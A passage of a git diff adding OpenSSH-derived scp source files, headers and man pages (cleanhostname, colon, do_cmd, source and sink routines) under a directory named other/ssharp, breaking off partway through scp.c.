2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: scp-common.c,v 1.1 2001/04/16 02:31:43 mouring Exp $"); + +char * +cleanhostname(host) + char *host; +{ + if (*host == '[' && host[strlen(host) - 1] == ']') { + host[strlen(host) - 1] = '\0'; + return (host + 1); + } else + return host; +} + +char * +colon(cp) + char *cp; +{ + int flag = 0; + + if (*cp == ':') /* Leading colon is part of file name. */ + return (0); + if (*cp == '[') + flag = 1; + + for (; *cp; ++cp) { + if (*cp == '@' && *(cp+1) == '[') + flag = 1; + if (*cp == ']' && *(cp+1) == ':' && flag) + return (cp+1); + if (*cp == ':' && !flag) + return (cp); + if (*cp == '/') + return (0); + } + return (0); +} diff --git a/other/ssharp/scp-common.h b/other/ssharp/scp-common.h new file mode 100644 index 0000000..e0ab6ec --- /dev/null +++ b/other/ssharp/scp-common.h @@ -0,0 +1,64 @@ +/* $OpenBSD: scp-common.h,v 1.1 2001/04/16 02:31:43 mouring Exp $ */ +/* + * Copyright (c) 1999 Theo de Raadt. All rights reserved. + * Copyright (c) 1999 Aaron Campbell. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * Parts from: + * + * Copyright (c) 1983, 1990, 1992, 1993, 1995 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +char *cleanhostname(char *host); +char *colon(char *cp); diff --git a/other/ssharp/scp.0 b/other/ssharp/scp.0 new file mode 100644 index 0000000..5ca7a87 --- /dev/null +++ b/other/ssharp/scp.0 @@ -0,0 +1,77 @@ + +SCP(1) System Reference Manual SCP(1) + +NAME + scp - secure copy (remote file copy program) + +SYNOPSIS + scp [-pqrvC46] [-S program] [-P port] [-c cipher] [-i identity_file] [-o + option] [[user@]host1:]file1 [...] [[user@]host2:]file2 + +DESCRIPTION + scp copies files between hosts on a network. It uses ssh(1) for data + transfer, and uses the same authentication and provides the same security + as ssh(1). Unlike rcp(1), scp will ask for passwords or passphrases if + they are needed for authentication. + + Any file name may contain a host and user specification to indicate that + the file is to be copied to/from that host. Copies between two remote + hosts are permitted. + + The options are as follows: + + -c cipher + Selects the cipher to use for encrypting the data transfer. This + option is directly passed to ssh(1). + + -i identity_file + Selects the file from which the identity (private key) for RSA + authentication is read. This option is directly passed to + ssh(1). + + -p Preserves modification times, access times, and modes from the + original file. + + -r Recursively copy entire directories. + + -v Verbose mode. Causes scp and ssh(1) to print debugging messages + about their progress. This is helpful in debugging connection, + authentication, and configuration problems. + + -B Selects batch mode (prevents asking for passwords or passphrasM-- + es). + + -q Disables the progress meter. + + -C Compression enable. Passes the -C flag to ssh(1) to enable comM-- + pression. + + -P port + Specifies the port to connect to on the remote host. Note that + this option is written with a capital `P', because -p is already + reserved for preserving the times and modes of the file in + rcp(1). + + -S program + Name of program to use for the encrypted connection. The program + must understand ssh(1) options. + + -o option + The given option is directly passed to ssh(1). + + -4 Forces scp to use IPv4 addresses only. + + -6 Forces scp to use IPv6 addresses only. + +AUTHORS + Timo Rinne and Tatu Ylonen + +HISTORY + scp is based on the rcp(1) program in BSD source code from the Regents of + the University of California. + +SEE ALSO + rcp(1), sftp(1), ssh(1), ssh-add(1), ssh-agent(1), ssh-keygen(1), + sshd(8) + +BSD Experimental September 25, 1999 2 diff --git a/other/ssharp/scp.1 b/other/ssharp/scp.1 new file mode 100644 index 0000000..10e67aa --- /dev/null +++ b/other/ssharp/scp.1 @@ -0,0 +1,137 @@ +.\" -*- nroff -*- +.\" +.\" scp.1 +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sun May 7 00:14:37 1995 ylo +.\" +.\" $OpenBSD: scp.1,v 1.14 2001/02/04 11:11:53 djm Exp $ +.\" +.Dd September 25, 1999 +.Dt SCP 1 +.Os +.Sh NAME +.Nm scp +.Nd secure copy (remote file copy program) +.Sh SYNOPSIS +.Nm scp +.Op Fl pqrvC46 +.Op Fl S Ar program +.Op Fl P Ar port +.Op Fl c Ar cipher +.Op Fl i Ar identity_file +.Op Fl o Ar option +.Sm off +.Oo +.Op Ar user@ +.Ar host1 No : +.Oc Ns Ar file1 +.Sm on +.Op Ar ... +.Sm off +.Oo +.Op Ar user@ +.Ar host2 No : +.Oc Ar file2 +.Sm on +.Sh DESCRIPTION +.Nm +copies files between hosts on a network. +It uses +.Xr ssh 1 +for data transfer, and uses the same authentication and provides the +same security as +.Xr ssh 1 . +Unlike +.Xr rcp 1 , +.Nm +will ask for passwords or passphrases if they are needed for +authentication. +.Pp +Any file name may contain a host and user specification to indicate +that the file is to be copied to/from that host. +Copies between two remote hosts are permitted. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl c Ar cipher +Selects the cipher to use for encrypting the data transfer. +This option is directly passed to +.Xr ssh 1 . +.It Fl i Ar identity_file +Selects the file from which the identity (private key) for RSA +authentication is read. +This option is directly passed to +.Xr ssh 1 . +.It Fl p +Preserves modification times, access times, and modes from the +original file. +.It Fl r +Recursively copy entire directories. +.It Fl v +Verbose mode. +Causes +.Nm +and +.Xr ssh 1 +to print debugging messages about their progress. +This is helpful in +debugging connection, authentication, and configuration problems. +.It Fl B +Selects batch mode (prevents asking for passwords or passphrases). +.It Fl q +Disables the progress meter. +.It Fl C +Compression enable. +Passes the +.Fl C +flag to +.Xr ssh 1 +to enable compression. +.It Fl P Ar port +Specifies the port to connect to on the remote host. +Note that this option is written with a capital +.Sq P , +because +.Fl p +is already reserved for preserving the times and modes of the file in +.Xr rcp 1 . +.It Fl S Ar program +Name of +.Ar program +to use for the encrypted connection. +The program must understand +.Xr ssh 1 +options. +.It Fl o Ar option +The given option is directly passed to +.Xr ssh 1 . +.It Fl 4 +Forces +.Nm +to use IPv4 addresses only. +.It Fl 6 +Forces +.Nm +to use IPv6 addresses only. +.El +.Sh AUTHORS +Timo Rinne and Tatu Ylonen +.Sh HISTORY +.Nm +is based on the +.Xr rcp 1 +program in BSD source code from the Regents of the University of +California. +.Sh SEE ALSO +.Xr rcp 1 , +.Xr sftp 1 , +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr sshd 8 diff --git a/other/ssharp/scp.c b/other/ssharp/scp.c new file mode 100644 index 0000000..1735693 --- /dev/null +++ b/other/ssharp/scp.c @@ -0,0 +1,1237 @@ +/* + * scp - secure remote copy. This is basically patched BSD rcp which + * uses ssh to do the data transfer (instead of using rcmd). + * + * NOTE: This version should NOT be suid root. (This uses ssh to + * do the transfer and ssh has the necessary privileges.) + * + * 1995 Timo Rinne , Tatu Ylonen + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +/* + * Copyright (c) 1999 Theo de Raadt. All rights reserved. + * Copyright (c) 1999 Aaron Campbell. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * Parts from: + * + * Copyright (c) 1983, 1990, 1992, 1993, 1995 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: scp.c,v 1.68 2001/04/22 12:34:05 markus Exp $"); + +#include "xmalloc.h" +#include "atomicio.h" +#include "pathnames.h" +#include "log.h" +#include "misc.h" +#include "scp-common.h" + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else +char *__progname; +#endif + +/* For progressmeter() -- number of seconds before xfer considered "stalled" */ +#define STALLTIME 5 + +/* Progress meter bar */ +#define BAR \ + "************************************************************"\ + "************************************************************"\ + "************************************************************"\ + "************************************************************" +#define MAX_BARLENGTH (sizeof(BAR) - 1) + +/* Visual statistics about files as they are transferred. */ +void progressmeter(int); + +/* Returns width of the terminal (for progress meter calculations). */ +int getttywidth(void); +int do_cmd(char *host, char *remuser, char *cmd, int *fdin, int *fdout, int argc); + +/* setup arguments for the call to ssh */ +void addargs(char *fmt, ...) __attribute__((format(printf, 1, 2))); + +/* Time a transfer started. */ +static struct timeval start; + +/* Number of bytes of current file transferred so far. */ +volatile off_t statbytes; + +/* Total size of current file. */ +off_t totalbytes = 0; + +/* Name of current file being transferred. */ +char *curfile; + +/* This is set to non-zero to enable verbose mode. */ +int verbose_mode = 0; + +/* This is set to zero if the progressmeter is not desired. */ +int showprogress = 1; + +/* This is the program to execute for the secured connection. ("ssh" or -S) */ +char *ssh_program = _PATH_SSH_PROGRAM; + +/* This is the list of arguments that scp passes to ssh */ +struct { + char **list; + int num; + int nalloc; +} args; + +/* + * This function executes the given command as the specified user on the + * given host. This returns < 0 if execution fails, and >= 0 otherwise. This + * assigns the input and output file descriptors on success. + */ + +int +do_cmd(char *host, char *remuser, char *cmd, int *fdin, int *fdout, int argc) +{ + int pin[2], pout[2], reserved[2]; + + if (verbose_mode) + fprintf(stderr, "Executing: program %s host %s, user %s, command %s\n", + ssh_program, host, remuser ? remuser : "(unspecified)", cmd); + + /* + * Reserve two descriptors so that the real pipes won't get + * descriptors 0 and 1 because that will screw up dup2 below. + */ + pipe(reserved); + + /* Create a socket pair for communicating with ssh. */ + if (pipe(pin) < 0) + fatal("pipe: %s", strerror(errno)); + if (pipe(pout) < 0) + fatal("pipe: %s", strerror(errno)); + + /* Free the reserved descriptors. */ + close(reserved[0]); + close(reserved[1]); + + /* For a child to execute the command on the remote host using ssh. */ + if (fork() == 0) { + /* Child. */ + close(pin[1]); + close(pout[0]); + dup2(pin[0], 0); + dup2(pout[1], 1); + close(pin[0]); + close(pout[1]); + + args.list[0] = ssh_program; + if (remuser != NULL) + addargs("-l%s", remuser); + addargs("%s", host); + addargs("%s", cmd); + + execvp(ssh_program, args.list); + perror(ssh_program); + exit(1); + } + /* Parent. Close the other side, and return the local side. */ + close(pin[0]); + *fdout = pin[1]; + close(pout[1]); + *fdin = pout[0]; + return 0; +} + +typedef struct { + int cnt; + char *buf; +} BUF; + +BUF *allocbuf(BUF *, int, int); +void lostconn(int); +void nospace(void); +int okname(char *); +void run_err(const char *,...); +void verifydir(char *); + +struct passwd *pwd; +uid_t userid; +int errs, remin, remout; +int pflag, iamremote, iamrecursive, targetshouldbedirectory; + +#define CMDNEEDS 64 +char cmd[CMDNEEDS]; /* must hold "rcp -r -p -d\0" */ + +int response(void); +void rsource(char *, struct stat *); +void sink(int, char *[]); +void source(int, char *[]); +void tolocal(int, char *[]); +void toremote(char *, int, char *[]); +void usage(void); + +int +main(argc, argv) + int argc; + char *argv[]; +{ + int ch, fflag, tflag; + char *targ; + extern char *optarg; + extern int optind; + + __progname = get_progname(argv[0]); + + args.list = NULL; + addargs("ssh"); /* overwritten with ssh_program */ + addargs("-x"); + addargs("-oFallBackToRsh no"); + + fflag = tflag = 0; + while ((ch = getopt(argc, argv, "dfprtvBCc:i:P:q46S:o:")) != -1) + switch (ch) { + /* User-visible flags. */ + case '4': + case '6': + case 'C': + addargs("-%c", ch); + break; + case 'o': + case 'c': + case 'i': + addargs("-%c%s", ch, optarg); + break; + case 'P': + addargs("-p%s", optarg); + break; + case 'B': + addargs("-oBatchmode yes"); + break; + case 'p': + pflag = 1; + break; + case 'r': + iamrecursive = 1; + break; + case 'S': + ssh_program = xstrdup(optarg); + break; + case 'v': + verbose_mode = 1; + break; + case 'q': + showprogress = 0; + break; + + /* Server options. */ + case 'd': + targetshouldbedirectory = 1; + break; + case 'f': /* "from" */ + iamremote = 1; + fflag = 1; + break; + case 't': /* "to" */ + iamremote = 1; + tflag = 1; +#ifdef HAVE_CYGWIN + setmode(0, O_BINARY); +#endif + break; + default: + usage(); + } + argc -= optind; + argv += optind; + + if ((pwd = getpwuid(userid = getuid())) == NULL) + fatal("unknown user %d", (int) userid); + + if (!isatty(STDERR_FILENO)) + showprogress = 0; + + remin = STDIN_FILENO; + remout = STDOUT_FILENO; + + if (fflag) { + /* Follow "protocol", send data. */ + (void) response(); + source(argc, argv); + exit(errs != 0); + } + if (tflag) { + /* Receive data. */ + sink(argc, argv); + exit(errs != 0); + } + if (argc < 2) + usage(); + if (argc > 2) + targetshouldbedirectory = 1; + + remin = remout = -1; + /* Command to be executed on remote system using "ssh". */ + (void) snprintf(cmd, sizeof cmd, "scp%s%s%s%s", + verbose_mode ? " -v" : "", + iamrecursive ? " -r" : "", pflag ? " -p" : "", + targetshouldbedirectory ? " -d" : ""); + + (void) signal(SIGPIPE, lostconn); + + if ((targ = colon(argv[argc - 1]))) /* Dest is remote host. */ + toremote(targ, argc, argv); + else { + tolocal(argc, argv); /* Dest is local host. */ + if (targetshouldbedirectory) + verifydir(argv[argc - 1]); + } + exit(errs != 0); +} + +void +toremote(targ, argc, argv) + char *targ, *argv[]; + int argc; +{ + int i, len; + char *bp, *host, *src, *suser, *thost, *tuser; + + *targ++ = 0; + if (*targ == 0) + targ = "."; + + if ((thost = strchr(argv[argc - 1], '@'))) { + /* user@host */ + *thost++ = 0; + tuser = argv[argc - 1]; + if (*tuser == '\0') + tuser = NULL; + else if (!okname(tuser)) + exit(1); + } else { + thost = argv[argc - 1]; + tuser = NULL; + } + + for (i = 0; i < argc - 1; i++) { + src = colon(argv[i]); + if (src) { /* remote to remote */ + *src++ = 0; + if (*src == 0) + src = "."; + host = strchr(argv[i], '@'); + len = strlen(ssh_program) + strlen(argv[i]) + + strlen(src) + (tuser ? strlen(tuser) : 0) + + strlen(thost) + strlen(targ) + CMDNEEDS + 32; + bp = xmalloc(len); + if (host) { + *host++ = 0; + host = cleanhostname(host); + suser = argv[i]; + if (*suser == '\0') + suser = pwd->pw_name; + else if (!okname(suser)) + continue; + snprintf(bp, len, + "%s%s -x -o'FallBackToRsh no' -n " + "-l %s %s %s %s '%s%s%s:%s'", + ssh_program, verbose_mode ? " -v" : "", + suser, host, cmd, src, + tuser ? tuser : "", tuser ? "@" : "", + thost, targ); + } else { + host = cleanhostname(argv[i]); + snprintf(bp, len, + "exec %s%s -x -o'FallBackToRsh no' -n %s " + "%s %s '%s%s%s:%s'", + ssh_program, verbose_mode ? " -v" : "", + host, cmd, src, + tuser ? tuser : "", tuser ? "@" : "", + thost, targ); + } + if (verbose_mode) + fprintf(stderr, "Executing: %s\n", bp); + (void) system(bp); + (void) xfree(bp); + } else { /* local to remote */ + if (remin == -1) { + len = strlen(targ) + CMDNEEDS + 20; + bp = xmalloc(len); + (void) snprintf(bp, len, "%s -t %s", cmd, targ); + host = cleanhostname(thost); + if (do_cmd(host, tuser, bp, &remin, + &remout, argc) < 0) + exit(1); + if (response() < 0) + exit(1); + (void) xfree(bp); + } + source(1, argv + i); + } + } +} + +void +tolocal(argc, argv) + int argc; + char *argv[]; +{ + int i, len; + char *bp, *host, *src, *suser; + + for (i = 0; i < argc - 1; i++) { + if (!(src = colon(argv[i]))) { /* Local to local. */ + len = strlen(_PATH_CP) + strlen(argv[i]) + + strlen(argv[argc - 1]) + 20; + bp = xmalloc(len); + (void) snprintf(bp, len, "exec %s%s%s %s %s", _PATH_CP, + iamrecursive ? " -r" : "", pflag ? " -p" : "", + argv[i], argv[argc - 1]); + if (verbose_mode) + fprintf(stderr, "Executing: %s\n", bp); + if (system(bp)) + ++errs; + (void) xfree(bp); + continue; + } + *src++ = 0; + if (*src == 0) + src = "."; + if ((host = strchr(argv[i], '@')) == NULL) { + host = argv[i]; + suser = NULL; + } else { + *host++ = 0; + suser = argv[i]; + if (*suser == '\0') + suser = pwd->pw_name; + else if (!okname(suser)) + continue; + } + host = cleanhostname(host); + len = strlen(src) + CMDNEEDS + 20; + bp = xmalloc(len); + (void) snprintf(bp, len, "%s -f %s", cmd, src); + if (do_cmd(host, suser, bp, &remin, &remout, argc) < 0) { + (void) xfree(bp); + ++errs; + continue; + } + xfree(bp); + sink(1, argv + argc - 1); + (void) close(remin); + remin = remout = -1; + } +} + +void +source(argc, argv) + int argc; + char *argv[]; +{ + struct stat stb; + static BUF buffer; + BUF *bp; + off_t i, amt, result; + int fd, haderr, indx; + char *last, *name, buf[2048]; + int len; + + for (indx = 0; indx < argc; ++indx) { + name = argv[indx]; + statbytes = 0; + len = strlen(name); + while (len > 1 && name[len-1] == '/') + name[--len] = '\0'; + if ((fd = open(name, O_RDONLY, 0)) < 0) + goto syserr; + if (fstat(fd, &stb) < 0) { +syserr: run_err("%s: %s", name, strerror(errno)); + goto next; + } + switch (stb.st_mode & S_IFMT) { + case S_IFREG: + break; + case S_IFDIR: + if (iamrecursive) { + rsource(name, &stb); + goto next; + } + /* FALLTHROUGH */ + default: + run_err("%s: not a regular file", name); + goto next; + } + if ((last = strrchr(name, '/')) == NULL) + last = name; + else + ++last; + curfile = last; + if (pflag) { + /* + * Make it compatible with possible future + * versions expecting microseconds. + */ + (void) snprintf(buf, sizeof buf, "T%lu 0 %lu 0\n", + (u_long) stb.st_mtime, + (u_long) stb.st_atime); + (void) atomicio(write, remout, buf, strlen(buf)); + if (response() < 0) + goto next; + } +#define FILEMODEMASK (S_ISUID|S_ISGID|S_IRWXU|S_IRWXG|S_IRWXO) +#ifdef HAVE_LONG_LONG_INT + snprintf(buf, sizeof buf, "C%04o %lld %s\n", + (u_int) (stb.st_mode & FILEMODEMASK), + (long long) stb.st_size, last); +#else + /* XXX: Handle integer overflow? */ + snprintf(buf, sizeof buf, "C%04o %lu %s\n", + (u_int) (stb.st_mode & FILEMODEMASK), + (u_long) stb.st_size, last); +#endif + + if (verbose_mode) { + fprintf(stderr, "Sending file modes: %s", buf); + fflush(stderr); + } + (void) atomicio(write, remout, buf, strlen(buf)); + if (response() < 0) + goto next; + if ((bp = allocbuf(&buffer, fd, 2048)) == NULL) { +next: (void) close(fd); + continue; + } + if (showprogress) { + totalbytes = stb.st_size; + progressmeter(-1); + } + /* Keep writing after an error so that we stay sync'd up. */ + for (haderr = i = 0; i < stb.st_size; i += bp->cnt) { + amt = bp->cnt; + if (i + amt > stb.st_size) + amt = stb.st_size - i; + if (!haderr) { + result = atomicio(read, fd, bp->buf, amt); + if (result != amt) + haderr = result >= 0 ? EIO : errno; + } + if (haderr) + (void) atomicio(write, remout, bp->buf, amt); + else { + result = atomicio(write, remout, bp->buf, amt); + if (result != amt) + haderr = result >= 0 ? EIO : errno; + statbytes += result; + } + } + if (showprogress) + progressmeter(1); + + if (close(fd) < 0 && !haderr) + haderr = errno; + if (!haderr) + (void) atomicio(write, remout, "", 1); + else + run_err("%s: %s", name, strerror(haderr)); + (void) response(); + } +} + +void +rsource(name, statp) + char *name; + struct stat *statp; +{ + DIR *dirp; + struct dirent *dp; + char *last, *vect[1], path[1100]; + + if (!(dirp = opendir(name))) { + run_err("%s: %s", name, strerror(errno)); + return; + } + last = strrchr(name, '/'); + if (last == 0) + last = name; + else + last++; + if (pflag) { + (void) snprintf(path, sizeof(path), "T%lu 0 %lu 0\n", + (u_long) statp->st_mtime, + (u_long) statp->st_atime); + (void) atomicio(write, remout, path, strlen(path)); + if (response() < 0) { + closedir(dirp); + return; + } + } + (void) snprintf(path, sizeof path, "D%04o %d %.1024s\n", + (u_int) (statp->st_mode & FILEMODEMASK), 0, last); + if (verbose_mode) + fprintf(stderr, "Entering directory: %s", path); + (void) atomicio(write, remout, path, strlen(path)); + if (response() < 0) { + closedir(dirp); + return; + } + while ((dp = readdir(dirp)) != NULL) { + if (dp->d_ino == 0) + continue; + if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, "..")) + continue; + if (strlen(name) + 1 + strlen(dp->d_name) >= sizeof(path) - 1) { + run_err("%s/%s: name too long", name, dp->d_name); + continue; + } + (void) snprintf(path, sizeof path, "%s/%s", name, dp->d_name); + vect[0] = path; + source(1, vect); + } + (void) closedir(dirp); + (void) atomicio(write, remout, "E\n", 2); + (void) response(); +} + +void +sink(argc, argv) + int argc; + char *argv[]; +{ + static BUF buffer; + struct stat stb; + enum { + YES, NO, DISPLAYED + } wrerr; + BUF *bp; + off_t i, j; + int amt, count, exists, first, mask, mode, ofd, omode; + off_t size; + int setimes, targisdir, wrerrno = 0; + char ch, *cp, *np, *targ, *why, *vect[1], buf[2048]; + struct timeval tv[2]; + +#define atime tv[0] +#define mtime tv[1] +#define SCREWUP(str) { why = str; goto screwup; } + + setimes = targisdir = 0; + mask = umask(0); + if (!pflag) + (void) umask(mask); + if (argc != 1) { + run_err("ambiguous target"); + exit(1); + } + targ = *argv; + if (targetshouldbedirectory) + verifydir(targ); + + (void) atomicio(write, remout, "", 1); + if (stat(targ, &stb) == 0 && S_ISDIR(stb.st_mode)) + targisdir = 1; + for (first = 1;; first = 0) { + cp = buf; + if (atomicio(read, remin, cp, 1) <= 0) + return; + if (*cp++ == '\n') + SCREWUP("unexpected "); + do { + if (atomicio(read, remin, &ch, sizeof(ch)) != sizeof(ch)) + SCREWUP("lost connection"); + *cp++ = ch; + } while (cp < &buf[sizeof(buf) - 1] && ch != '\n'); + *cp = 0; + + if (buf[0] == '\01' || buf[0] == '\02') { + if (iamremote == 0) + (void) atomicio(write, STDERR_FILENO, + buf + 1, strlen(buf + 1)); + if (buf[0] == '\02') + exit(1); + ++errs; + continue; + } + if (buf[0] == 'E') { + (void) atomicio(write, remout, "", 1); + return; + } + if (ch == '\n') + *--cp = 0; + + cp = buf; + if (*cp == 'T') { + setimes++; + cp++; + mtime.tv_sec = strtol(cp, &cp, 10); + if (!cp || *cp++ != ' ') + SCREWUP("mtime.sec not delimited"); + mtime.tv_usec = strtol(cp, &cp, 10); + if (!cp || *cp++ != ' ') + SCREWUP("mtime.usec not delimited"); + atime.tv_sec = strtol(cp, &cp, 10); + if (!cp || *cp++ != ' ') + SCREWUP("atime.sec not delimited"); + atime.tv_usec = strtol(cp, &cp, 10); + if (!cp || *cp++ != '\0') + SCREWUP("atime.usec not delimited"); + (void) atomicio(write, remout, "", 1); + continue; + } + if (*cp != 'C' && *cp != 'D') { + /* + * Check for the case "rcp remote:foo\* local:bar". + * In this case, the line "No match." can be returned + * by the shell before the rcp command on the remote is + * executed so the ^Aerror_message convention isn't + * followed. + */ + if (first) { + run_err("%s", cp); + exit(1); + } + SCREWUP("expected control record"); + } + mode = 0; + for (++cp; cp < buf + 5; cp++) { + if (*cp < '0' || *cp > '7') + SCREWUP("bad mode"); + mode = (mode << 3) | (*cp - '0'); + } + if (*cp++ != ' ') + SCREWUP("mode not delimited"); + + for (size = 0; isdigit(*cp);) + size = size * 10 + (*cp++ - '0'); + if (*cp++ != ' ') + SCREWUP("size not delimited"); + if (targisdir) { + static char *namebuf; + static int cursize; + size_t need; + + need = strlen(targ) + strlen(cp) + 250; + if (need > cursize) { + if (namebuf) + xfree(namebuf); + namebuf = xmalloc(need); + cursize = need; + } + (void) snprintf(namebuf, need, "%s%s%s", targ, + *targ ? "/" : "", cp); + np 